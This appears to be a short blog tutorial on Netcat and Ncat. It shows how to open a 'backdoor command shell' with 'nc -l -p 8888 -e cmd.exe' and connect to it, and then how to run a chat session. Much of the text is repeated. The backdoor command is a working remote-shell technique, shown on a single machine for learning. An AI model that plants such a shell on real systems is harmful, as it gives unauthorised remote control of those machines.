Netcat Commands:
Netcat should be installed on Both Machines.
I am using a single machine localhost.
1.Creating a Backdoor command shell.
Run this on one command prompt.
Run this on one command prompt.
C:\server>nc -l -p 8888 -e cmd.exe
Run this on another command prompt.
Run this on another command prompt.
C:\client>nc 192.168.1.100 8888
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\server>
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\server>
Note server and client are two folders both containing netcat
I am using two folders and two netcats to make it easier to
understand,I could use only one netcat.
Use the IP in my case 192.168.1.100 rather than 127.0.0.1 or localhost.
Localhost or 127.0.0.1 didn't work in my case.
2.Creating a Chat session using Ncat
Run this on one command prompt.
C:\ncat\ncat>ncat -lvp 2222
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 192.168.1.100:1886.
hello
how are you
Run this on another command prompt.
C:\ncat\ncat>ncat 192.168.1.100 2222
hello
how are you
What one types in one session appears
on the other and vice versa.
Ncat ,Netcat,cryptcat,SOcat some are new, some old.
I am using two folders and two netcats to make it easier to
understand,I could use only one netcat.
Use the IP in my case 192.168.1.100 rather than 127.0.0.1 or localhost.
Localhost or 127.0.0.1 didn't work in my case.
2.Creating a Chat session using Ncat
Run this on one command prompt.
C:\ncat\ncat>ncat -lvp 2222
Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 192.168.1.100:1886.
hello
how are you
Run this on another command prompt.
C:\ncat\ncat>ncat 192.168.1.100 2222
hello
how are you
What one types in one session appears
on the other and vice versa.
Ncat ,Netcat,cryptcat,SOcat some are new, some old.
No comments:
Post a Comment